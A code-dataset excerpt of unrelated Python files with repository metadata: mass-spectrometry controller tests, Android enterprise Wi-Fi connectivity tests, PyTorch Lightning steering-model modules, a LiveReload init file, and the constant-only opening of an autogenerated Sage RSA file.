controller mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS) grid = GridEstimator(AllOverlapGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size), IdentityDrift()) controller = IntensityNonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY, min_roi_intensity, min_roi_length, N, grid, rt_tol=rt_tol, min_roi_length_for_fragmentation=0) # create an environment to run both the mass spec and controller env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True) run_environment(env) # check that there is at least one non-empty MS2 scan check_non_empty_MS2(controller) # write simulated output to mzML file filename = 'intensity_non_overlap_qcbeer_chems.mzML' check_mzML(env, OUT_DIR, filename) def test_intensity_non_overlap_controller_with_beer_chems_and_smartROI_rules(self): logger.info('Testing intensity non-overlap controller with QC beer chemicals and SmartROI rules') isolation_width = 1 # the isolation window in Dalton around a selected precursor ion N = 10 rt_tol = 15 mz_tol = 10 min_roi_intensity = 5000 min_roi_length = 10 ionisation_mode = POSITIVE rt_box_size, mz_box_size = 1, 0.3 # create a simulated mass spec with noise and ROI controller mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS) grid = GridEstimator(AllOverlapGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size), IdentityDrift()) controller = IntensityNonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY, min_roi_intensity, min_roi_length, N, grid, rt_tol=rt_tol, min_roi_length_for_fragmentation=0, roi_type=RoiBuilder.ROI_TYPE_SMART, reset_length_seconds=1e6, intensity_increase_factor=10, drop_perc=0.1 / 100 ) # create an environment to run both the mass spec and controller env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True) run_environment(env) # check that there is at least one non-empty MS2 scan check_non_empty_MS2(controller) # write simulated output to mzML file filename = 'intensity_non_overlap_qcbeer_chems_smartroi.mzML' check_mzML(env, OUT_DIR, filename) def test_intensity_non_overlap_controller_with_beer_chems_and_weighteddew_rules(self): logger.info('Testing intensity non-overlap controller with QC beer chemicals and WeightedDEW rules') isolation_width = 1 # the isolation window in Dalton around a selected precursor ion N = 10 rt_tol = 120 exclusion_t_0 = 15 mz_tol = 10 min_roi_intensity = 5000 min_roi_length = 10 ionisation_mode = POSITIVE rt_box_size, mz_box_size = 1, 0.3 # create a simulated mass spec with noise and ROI controller mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS) grid = GridEstimator(AllOverlapGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size), IdentityDrift()) controller = IntensityNonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY, min_roi_intensity, min_roi_length, N, grid, rt_tol=rt_tol, min_roi_length_for_fragmentation=0, exclusion_method=ROI_EXCLUSION_WEIGHTED_DEW, exclusion_t_0=exclusion_t_0) # create an environment to run both the mass spec and controller env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True) run_environment(env) # check that there is at least one non-empty MS2 scan check_non_empty_MS2(controller) # write simulated output to mzML file filename = 'intensity_non_overlap_qcbeer_chems_weighteddew.mzML' check_mzML(env, OUT_DIR, filename) class TestFlexibleNonOverlapController: def test_intensity_nonoverlap_controller_with_simulated_chems(self, fragscan_dataset): logger.info('Testing flexible non-overlap controller with simulated chemicals') assert len(fragscan_dataset) == N_CHEMS isolation_width = 1 # the isolation window in Dalton around a selected precursor ion N = 10 rt_tol = 15 mz_tol = 10 min_roi_intensity = 50 min_roi_length = 0 ionisation_mode = POSITIVE min_bound, max_bound = get_rt_bounds(fragscan_dataset, CENTRE_RANGE) rt_box_size, mz_box_size = 1, 0.3 # create a simulated mass spec with noise and ROI controller mass_spec = IndependentMassSpectrometer(ionisation_mode, fragscan_dataset) grid = GridEstimator(AllOverlapGrid(min_bound, max_bound, rt_box_size, 0, 3000, mz_box_size), IdentityDrift()) controller = FlexibleNonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY, min_roi_intensity, min_roi_length, N, grid, rt_tol=rt_tol, min_roi_length_for_fragmentation=0) # create an environment to run both the mass spec and controller env = Environment(mass_spec, controller, min_bound, max_bound, progress_bar=True) run_environment(env) assert len(controller.scans[2]) > 0 # check that there is at least one non-empty MS2 scan check_non_empty_MS2(controller) # write simulated output to mzML file filename = 'flexible_non_overlap_controller_simulated_chems.mzML' check_mzML(env, OUT_DIR, filename) def test_flexible_non_overlap_controller_with_beer_chems(self): logger.info('Testing flexible non-overlap controller with QC beer chemicals') isolation_width = 1 # the isolation window in Dalton around a selected precursor ion N = 10 rt_tol = 15 mz_tol = 10 min_roi_intensity = 5000 min_roi_length = 10 ionisation_mode = POSITIVE rt_box_size, mz_box_size = 1, 0.3 # create a simulated mass spec with noise and ROI controller mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS) grid = GridEstimator(AllOverlapGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size), IdentityDrift()) controller = FlexibleNonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY, min_roi_intensity, min_roi_length, N, grid, rt_tol=rt_tol, min_roi_length_for_fragmentation=0) # create an environment to run both the mass spec and controller env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True) run_environment(env) # check that there is at least one non-empty MS2 scan check_non_empty_MS2(controller) # write simulated output to mzML file filename = 'flexible_non_overlap_qcbeer_chems.mzML' check_mzML(env, OUT_DIR, filename) def test_flexible_non_overlap_controller_with_beer_chems_and_smartROI_rules(self): logger.info('Testing flexible non-overlap controller with QC beer chemicals and SmartROI rules') isolation_width = 1 # the isolation window in Dalton around a selected precursor ion N = 10 rt_tol = 15 mz_tol = 10 min_roi_intensity = 5000 min_roi_length = 10 ionisation_mode = POSITIVE rt_box_size, mz_box_size = 1, 0.3 # create a simulated mass spec with noise and ROI controller mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS) grid = GridEstimator(AllOverlapGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size), IdentityDrift()) controller = FlexibleNonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY, min_roi_intensity, min_roi_length, N, grid, rt_tol=rt_tol, min_roi_length_for_fragmentation=0, roi_type=RoiBuilder.ROI_TYPE_SMART, reset_length_seconds=1e6, intensity_increase_factor=10, drop_perc=0.1 / 100 ) # create an environment to run both the mass spec and controller env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True) run_environment(env) # check that there is at least one non-empty MS2 scan check_non_empty_MS2(controller) # write simulated output to mzML file filename = 'flexible_non_overlap_qcbeer_chems_smartroi.mzML' check_mzML(env, OUT_DIR, filename) def test_flexible_non_overlap_controller_with_beer_chems_and_weighteddew_rules(self): logger.info('Testing flexible non-overlap controller with QC beer chemicals and WeightedDEW rules') isolation_width = 1 # the isolation window in Dalton around a selected precursor ion N = 10 rt_tol = 120 exclusion_t_0 = 15 mz_tol = 10 min_roi_intensity = 5000 min_roi_length = 10 ionisation_mode = POSITIVE rt_box_size, mz_box_size = 1, 0.3 # create a simulated mass spec with noise and ROI controller mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS) grid = GridEstimator(AllOverlapGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size), IdentityDrift()) controller = FlexibleNonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY, min_roi_intensity, min_roi_length, N, grid, rt_tol=rt_tol, min_roi_length_for_fragmentation=0, exclusion_method=ROI_EXCLUSION_WEIGHTED_DEW, exclusion_t_0=exclusion_t_0) # create an environment to run both the mass spec and controller env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True) run_environment(env) # check that there is at least one non-empty MS2 scan check_non_empty_MS2(controller) # write simulated output to mzML file filename = 'flexible_non_overlap_qcbeer_chems_weighteddew.mzML' check_mzML(env, OUT_DIR, filename)

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Python

tests/e2e/interOp/validation_of_operating_modes/vlan_mode/client_connectivity_test/android/test_enterprise_ttls.py

dutta-rohan/wlan-testing

77264245b62e21dff5f38c7eae74c22e0cdeefbb

[ "BSD-3-Clause" ]

7

2020-08-19T16:45:46.000Z

2022-02-10T09:55:22.000Z

tests/e2e/interOp/validation_of_operating_modes/vlan_mode/client_connectivity_test/android/test_enterprise_ttls.py

dutta-rohan/wlan-testing

77264245b62e21dff5f38c7eae74c22e0cdeefbb

[ "BSD-3-Clause" ]

47

2020-12-20T16:06:03.000Z

2022-03-23T03:01:22.000Z

tests/e2e/interOp/validation_of_operating_modes/vlan_mode/client_connectivity_test/android/test_enterprise_ttls.py

dutta-rohan/wlan-testing

77264245b62e21dff5f38c7eae74c22e0cdeefbb

[ "BSD-3-Clause" ]

9

2021-02-04T22:32:06.000Z

2021-12-14T17:45:51.000Z

from logging import exception import unittest import warnings from perfecto.test import TestResultFactory import pytest import sys import time from selenium.common.exceptions import NoSuchElementException from selenium.webdriver.common.by import By from appium import webdriver from selenium.common.exceptions import NoSuchElementException import sys import allure if 'perfecto_libs' not in sys.path: sys.path.append(f'../libs/perfecto_libs') pytestmark = [pytest.mark.sanity, pytest.mark.interop, pytest.mark.android, pytest.mark.interop_and, pytest.mark.client_connectivity ,pytest.mark.interop_uc_sanity, pytest.mark.vlan, pytest.mark.enterprise] from android_lib import closeApp, set_APconnMobileDevice_android, Toggle_AirplaneMode_android, ForgetWifiConnection, openApp, \ get_ip_address_eap_and, verifyUploadDownloadSpeed_android, wifi_connect_eap, wifi_disconnect_and_forget setup_params_enterprise = { "mode": "VLAN", "ssid_modes": { "wpa_enterprise": [ {"ssid_name": "ssid_wpa_eap_2g_vlan", "appliedRadios": ["2G"], "vlan": 100}, {"ssid_name": "ssid_wpa_eap_5g_vlan", "appliedRadios": ["5G"], "vlan": 100}], "wpa2_enterprise": [ {"ssid_name": "ssid_wpa2_eap_2g_vlan", "appliedRadios": ["2G"], "vlan": 100}, {"ssid_name": "ssid_wpa2_eap_5g_vlan", "appliedRadios": ["5G"], "vlan": 100}], "wpa3_enterprise": [ {"ssid_name": "ssid_wpa3_eap_2g_vlan", "appliedRadios": ["2G"], "vlan": 100}, {"ssid_name": "ssid_wpa3_eap_5g_vlan", "appliedRadios": ["5G"], "vlan": 100}]}, "rf": {}, "radius": True } @allure.suite(suite_name="interop sanity") @allure.sub_suite(sub_suite_name="Vlan Mode EAP Client Connectivity : Suite-A") @pytest.mark.suiteA @pytest.mark.parametrize( 'setup_profiles', [setup_params_enterprise], indirect=True, scope="class" ) @pytest.mark.usefixtures("setup_profiles") class TestVlanModeEnterpriseTTLSSuiteA(object): """ Client Connect SuiteA pytest -m "client_connect and bridge and InteropsuiteA" """ @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4679", name="WIFI-4679") @pytest.mark.fiveg @pytest.mark.wpa2_enterprise def test_ClientConnectivity_5g_WPA2_enterprise_Vlan(self, request, get_vif_state, get_ToggleAirplaneMode_data , setup_perfectoMobile_android, radius_info, get_ap_logs): profile_data = setup_params_enterprise["ssid_modes"]["wpa2_enterprise"][1] ssidName = profile_data["ssid_name"] ssidPassword = ["BLANK"] print ("SSID_NAME: " + ssidName) #print ("SSID_PASS: " + ssidPassword) ttls_passwd = radius_info["password"] identity = radius_info['user'] get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data ip, is_internet = get_ip_address_eap_and(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData) # Set Wifi/AP Mode if is_internet: if ip: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) wifi_connect_eap(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData) assert verifyUploadDownloadSpeed_android(request, setup_perfectoMobile_android, connData) wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) else: allure.attach(name="Connection Status: ", body=str("No Internet access")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4678", name="WIFI-4678") @pytest.mark.twog @pytest.mark.wpa2_enterprise def test_ClientConnectivity_2g_WPA2_enterprise_Vlan(self, request, get_vif_state, get_ToggleAirplaneMode_data , setup_perfectoMobile_android, radius_info, get_ap_logs): profile_data = setup_params_enterprise["ssid_modes"]["wpa2_enterprise"][0] ssidName = profile_data["ssid_name"] ssidPassword = ["BLANK"] print("SSID_NAME: " + ssidName) # print ("SSID_PASS: " + ssidPassword) ttls_passwd = radius_info["password"] identity = radius_info['user'] get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data ip, is_internet = get_ip_address_eap_and(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData) # Set Wifi/AP Mode if is_internet: if ip: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) wifi_connect_eap(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData) assert verifyUploadDownloadSpeed_android(request, setup_perfectoMobile_android, connData) wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) else: allure.attach(name="Connection Status: ", body=str("No Internet access")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4683", name="WIFI-4683") @pytest.mark.fiveg @pytest.mark.wpa3_enterprise def test_ClientConnectivity_5g_WPA3_enterprise_Vlan(self, request, get_vif_state, get_ToggleAirplaneMode_data , setup_perfectoMobile_android, radius_info, get_ap_logs): profile_data = setup_params_enterprise["ssid_modes"]["wpa3_enterprise"][1] ssidName = profile_data["ssid_name"] ssidPassword = ["BLANK"] print("SSID_NAME: " + ssidName) # print ("SSID_PASS: " + ssidPassword) ttls_passwd = radius_info["password"] identity = radius_info['user'] get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data ip, is_internet = get_ip_address_eap_and(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData) # Set Wifi/AP Mode if is_internet: if ip: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) wifi_connect_eap(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData) assert verifyUploadDownloadSpeed_android(request, setup_perfectoMobile_android, connData) wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) else: allure.attach(name="Connection Status: ", body=str("No Internet access")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4682", name="WIFI-4682") @pytest.mark.twog @pytest.mark.wpa3_enterprise def test_ClientConnectivity_2g_WPA3_enterprise_Vlan(self, request, get_vif_state, get_ToggleAirplaneMode_data , setup_perfectoMobile_android, radius_info, get_ap_logs): profile_data = setup_params_enterprise["ssid_modes"]["wpa3_enterprise"][0] ssidName = profile_data["ssid_name"] ssidPassword = ["BLANK"] print("SSID_NAME: " + ssidName) # print ("SSID_PASS: " + ssidPassword) ttls_passwd = radius_info["password"] identity = radius_info['user'] get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data ip, is_internet = get_ip_address_eap_and(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData) # Set Wifi/AP Mode if is_internet: if ip: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) wifi_connect_eap(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData) assert verifyUploadDownloadSpeed_android(request, setup_perfectoMobile_android, connData) wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) else: allure.attach(name="Connection Status: ", body=str("No Internet access")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4681", name="WIFI-4681") @pytest.mark.fiveg @pytest.mark.wpa_enterprise def test_ClientConnectivity_5g_WPA_enterprise_Vlan(self, request, get_vif_state, get_ToggleAirplaneMode_data , setup_perfectoMobile_android, radius_info, get_ap_logs): profile_data = setup_params_enterprise["ssid_modes"]["wpa_enterprise"][1] ssidName = profile_data["ssid_name"] ssidPassword = ["BLANK"] print("SSID_NAME: " + ssidName) # print ("SSID_PASS: " + ssidPassword) ttls_passwd = radius_info["password"] identity = radius_info['user'] get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data ip, is_internet = get_ip_address_eap_and(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData) # Set Wifi/AP Mode if is_internet: if ip: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) wifi_connect_eap(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData) assert verifyUploadDownloadSpeed_android(request, setup_perfectoMobile_android, connData) wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) else: allure.attach(name="Connection Status: ", body=str("No Internet access")) assert False @allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4680", name="WIFI-4680") @pytest.mark.twog @pytest.mark.wpa_enterprise def test_ClientConnectivity_2g_WPA_enterprise_Vlan(self, request, get_vif_state, get_ToggleAirplaneMode_data , setup_perfectoMobile_android, radius_info, get_ap_logs): profile_data = setup_params_enterprise["ssid_modes"]["wpa_enterprise"][0] ssidName = profile_data["ssid_name"] ssidPassword = ["BLANK"] print("SSID_NAME: " + ssidName) # print ("SSID_PASS: " + ssidPassword) ttls_passwd = radius_info["password"] identity = radius_info['user'] get_vif_state.append(ssidName) if ssidName not in get_vif_state: allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state)) pytest.xfail("SSID NOT AVAILABLE IN VIF STATE") report = setup_perfectoMobile_android[1] driver = setup_perfectoMobile_android[0] connData = get_ToggleAirplaneMode_data ip, is_internet = get_ip_address_eap_and(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData) # Set Wifi/AP Mode if is_internet: if ip: text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet") else: text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address") print(text_body) allure.attach(name="Connection Status: ", body=str(text_body)) wifi_connect_eap(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData) assert verifyUploadDownloadSpeed_android(request, setup_perfectoMobile_android, connData) wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData) else: allure.attach(name="Connection Status: ", body=str("No Internet access")) assert False

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132

0.657439

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14,774

5.717727

0.09265

0.086205

0.117965

0.08815

0.878794

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0.847791

0.806201

0.799395

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0

1

0

null

0

1

0

8

2c0f35c5c3be994d1b8412d22ea8e3a08238eb1c

5,880

py

Python

train/litmodules.py

urw7rs/light-steering

db43dd6d0fc2aedea35ceb8d9ec3e5665c35333d

[ "MIT" ]

null

train/litmodules.py

urw7rs/light-steering

db43dd6d0fc2aedea35ceb8d9ec3e5665c35333d

[ "MIT" ]

null

train/litmodules.py

urw7rs/light-steering

db43dd6d0fc2aedea35ceb8d9ec3e5665c35333d

[ "MIT" ]

null

import torch import torch.nn.functional as F import pytorch_lightning as pl class LitLightSteer(pl.LightningModule): def __init__(self, model, learning_rate, **kwargs): super().__init__() self.save_hyperparameters("learning_rate") # self.save_hyperparameters() self.model = model def forward(self, x): y = self.model(x) return y def match_scale(self, y_hat): vel = 1.2 * torch.sigmoid(y_hat[:, 0]) ang = 0.7 * torch.tanh(y_hat[:, 1]) torq = 1.4 * torch.tanh(y_hat[:, 2]) return vel, ang, torq def _compute_loss(self, vel, ang, torq, y): vel_loss = F.mse_loss(vel, y[:, 0]) ang_loss = F.mse_loss(ang, y[:, 1]) # delta_vel is stored in y[:, 2] torq_loss = F.mse_loss(torq, y[:, 3]) return vel_loss, ang_loss, torq_loss def training_step(self, batch, batch_idx): x, y = batch y_hat = self.model(x) vel, ang, torq = self.match_scale(y_hat) vel_loss, ang_loss, torq_loss = self._compute_loss(vel, ang, torq, y) loss = vel_loss + ang_loss + torq_loss self.log("train_loss", loss, prog_bar=True) self.log("vel_loss", vel_loss, prog_bar=True) self.log("ang_loss", ang_loss, prog_bar=True) self.log("torq_loss", torq_loss, prog_bar=True) return loss def validation_step(self, batch, batch_idx): x, y = batch y_hat = self.model(x) vel, ang, torq = self.match_scale(y_hat) vel_loss, ang_loss, torq_loss = self._compute_loss(vel, ang, torq, y) loss = vel_loss + ang_loss + torq_loss self.log("val_loss", loss, prog_bar=True) self.log("val_vel_loss", vel_loss, prog_bar=True) self.log("val_ang_loss", ang_loss, prog_bar=True) self.log("val_torq_loss", ang_loss, prog_bar=True) return loss def test_step(self, batch, batch_idx): x, y = batch y_hat = self.model(x) vel, ang, torq = self.match_scale(y_hat) vel_loss, ang_loss, torq_loss = self._compute_loss(vel, ang, torq, y) loss = vel_loss + ang_loss + torq_loss self.log("test_loss", loss, prog_bar=True) self.log("test_vel_loss", vel_loss, prog_bar=True) self.log("test_ang_loss", ang_loss, prog_bar=True) self.log("test_torq_loss", ang_loss, prog_bar=True) return loss def configure_optimizers(self): optimizer = torch.optim.AdamW( self.parameters(), lr=self.hparams.learning_rate, ) return optimizer @staticmethod def add_model_specific_args(parent_parser): parser = parent_parser.add_argument_group("LightSteer") parser.add_argument("--learning_rate", type=float, default=1e-3) return parent_parser class LitSeqLightSteer(pl.LightningModule): def __init__(self, model, learning_rate, **kwargs): super().__init__() self.save_hyperparameters("learning_rate") # self.save_hyperparameters() self.model = model # self.truncated_bptt_steps = 2 def forward(self, x, hiddens=None): y, hiddens = self.model(x, hiddens) return y, hiddens def match_scale(self, y_hat): vel = 1.2 * torch.sigmoid(y_hat[:, :, 0]) ang = 0.7 * torch.tanh(y_hat[:, :, 1]) torq = 1.4 * torch.tanh(y_hat[:, :, 2]) return vel, ang, torq def _compute_loss(self, vel, ang, torq, y): vel_loss = F.mse_loss(vel, y[:, :, 0]) ang_loss = F.mse_loss(ang, y[:, :, 1]) # delta_vel is stored in y[:, 2] torq_loss = F.mse_loss(torq, y[:, :, 3]) return vel_loss, ang_loss, torq_loss def training_step(self, batch, batch_idx, hiddens=None): x, y = batch y_hat, hiddens = self.model(x, hiddens) vel, ang, torq = self.match_scale(y_hat) vel_loss, ang_loss, torq_loss = self._compute_loss(vel, ang, torq, y) loss = vel_loss + ang_loss + torq_loss self.log("train_loss", loss, prog_bar=True) self.log("vel_loss", vel_loss, prog_bar=True) self.log("ang_loss", ang_loss, prog_bar=True) self.log("torq_loss", torq_loss, prog_bar=True) return {"loss": loss, "hiddens": hiddens} def validation_step(self, batch, batch_idx, hiddens=None): x, y = batch y_hat, hiddens = self.model(x, hiddens) vel, ang, torq = self.match_scale(y_hat) vel_loss, ang_loss, torq_loss = self._compute_loss(vel, ang, torq, y) loss = vel_loss + ang_loss + torq_loss self.log("val_loss", loss, prog_bar=True) self.log("val_vel_loss", vel_loss, prog_bar=True) self.log("val_ang_loss", ang_loss, prog_bar=True) self.log("val_torq_loss", torq_loss, prog_bar=True) return {"loss": loss, "hiddens": hiddens} def test_step(self, batch, batch_idx, hiddens=None): x, y = batch y_hat, hiddens = self.model(x, hiddens) vel, ang, torq = self.match_scale(y_hat) vel_loss, ang_loss, torq_loss = self._compute_loss(vel, ang, torq, y) loss = vel_loss + ang_loss + torq_loss self.log("test_loss", loss, prog_bar=True) self.log("test_vel_loss", vel_loss, prog_bar=True) self.log("test_ang_loss", ang_loss, prog_bar=True) self.log("test_torq_loss", torq_loss, prog_bar=True) return {"loss": loss, "hiddens": hiddens} def configure_optimizers(self): optimizer = torch.optim.AdamW( self.parameters(), lr=self.hparams.learning_rate, ) return optimizer @staticmethod def add_model_specific_args(parent_parser): parser = parent_parser.add_argument_group("LightSteer") parser.add_argument("--learning_rate", type=float, default=1e-3) return parent_parser

33.988439

77

0.620238

854

5,880

3.98829

0.100703

0.061656

0.07751

0.105696

0.941574

0.934527

0.925426

0

0.007084

0.255782

5,880

172

78

34.186047

0.771252

0.025

0

0.724409

0

0.064082

0

1

0.141732

false

0

0.023622

0

0.307087

0

null

0

1

0

1

0

null

0

7

2c25b4077f488e886a7722d9c1d26b73386e50ad

176

py

Python

Packages/LiveReload/__init__.py

kangTaehee/st3

34aa17bcdac88b94cc38d37276fdc4983b27c76d

[ "Apache-2.0" ]

4

2018-06-08T23:18:47.000Z

2020-02-24T06:14:06.000Z

Packages/LiveReload/__init__.py

kangTaehee/st3

34aa17bcdac88b94cc38d37276fdc4983b27c76d

[ "Apache-2.0" ]

3

2021-05-10T18:59:14.000Z

2021-09-02T01:50:15.000Z

Packages/LiveReload/__init__.py

kangTaehee/st3

34aa17bcdac88b94cc38d37276fdc4983b27c76d

[ "Apache-2.0" ]

2

2019-04-10T01:02:42.000Z

2021-02-05T08:41:38.000Z

#!/usr/bin/python # -*- coding: utf-8 -*- try: from .LiveReload import * from .server import * except ValueError: from LiveReload import * from server import *

19.555556

29

0.642045

21

176

5.380952

0.619048

0.247788

0.353982

0.424779

0.637168

0

0.007407

0.232955

176

9

30

19.555556

0.82963

0.215909

0

1

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true

0

0.666667

0

0.666667

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

257a561bb3f800f07b56ce25a6abde3c1780c213

14,340

py

Python

build/lib/xenny/ctf/crypto/modern/asymmetric/rsa/ex_wiener.sage.py

X3NNY/xenny

c55238f82f448ec08e4006f9037064c5c28524fd

[ "MIT" ]

12

2018-12-31T09:47:33.000Z

2022-02-19T09:24:33.000Z

build/lib/xenny/ctf/crypto/modern/asymmetric/rsa/ex_wiener.sage.py

X3NNY/xenny

c55238f82f448ec08e4006f9037064c5c28524fd

[ "MIT" ]

3

2022-01-26T09:14:32.000Z

2022-02-06T11:01:55.000Z

build/lib/xenny/ctf/crypto/modern/asymmetric/rsa/ex_wiener.sage.py

X3NNY/xenny

c55238f82f448ec08e4006f9037064c5c28524fd

[ "MIT" ]

1

2022-02-06T11:02:06.000Z

# This file was *autogenerated* from the file ctf/crypto/modern/asymmetric/rsa/ex_wiener.sage from sage.all_cmdline import * # import sage library _sage_const_8634199943296266475661694936017797245643751574377300702352556698923010846293195618475931386615270566178369671247793107594356541948964368726568708230319186988913696138400127564811132791236599834089885854076690263057534834835449605382639029368521956753682831912247745557625558315338427219091935188588303976619473720984938018512720749790101691789367840457806658319810844865267910935154626575220525191686503490303606772840181902374949090928479931214664359010094218789662306484000672754511863044300205945846244848169672310913442059177294181486468799409873093284267766706986492607452210174334940756036650337736844394789495 = Integer(8634199943296266475661694936017797245643751574377300702352556698923010846293195618475931386615270566178369671247793107594356541948964368726568708230319186988913696138400127564811132791236599834089885854076690263057534834835449605382639029368521956753682831912247745557625558315338427219091935188588303976619473720984938018512720749790101691789367840457806658319810844865267910935154626575220525191686503490303606772840181902374949090928479931214664359010094218789662306484000672754511863044300205945846244848169672310913442059177294181486468799409873093284267766706986492607452210174334940756036650337736844394789495); _sage_const_12901756511557359459621054599419970335607988670582154586781205445748574407546618457098103159759328515721549039134014014073709913358229236019318189779818263730049449609355323855082266380391015183886428125925985343445384430401311570859272506454200233455063271055549547787458600678939380630979924929901900873350761446538288165222899228547734019705071658914556199926875965160081841955409321412403297397976671464079113812960712232880728456020030552116088590712831093055816879053205775173702025585694098709855246718301238931312541326436602594881624659659457608825023680534566306520148778474705123992253089763243470479950233 = Integer(12901756511557359459621054599419970335607988670582154586781205445748574407546618457098103159759328515721549039134014014073709913358229236019318189779818263730049449609355323855082266380391015183886428125925985343445384430401311570859272506454200233455063271055549547787458600678939380630979924929901900873350761446538288165222899228547734019705071658914556199926875965160081841955409321412403297397976671464079113812960712232880728456020030552116088590712831093055816879053205775173702025585694098709855246718301238931312541326436602594881624659659457608825023680534566306520148778474705123992253089763243470479950233); 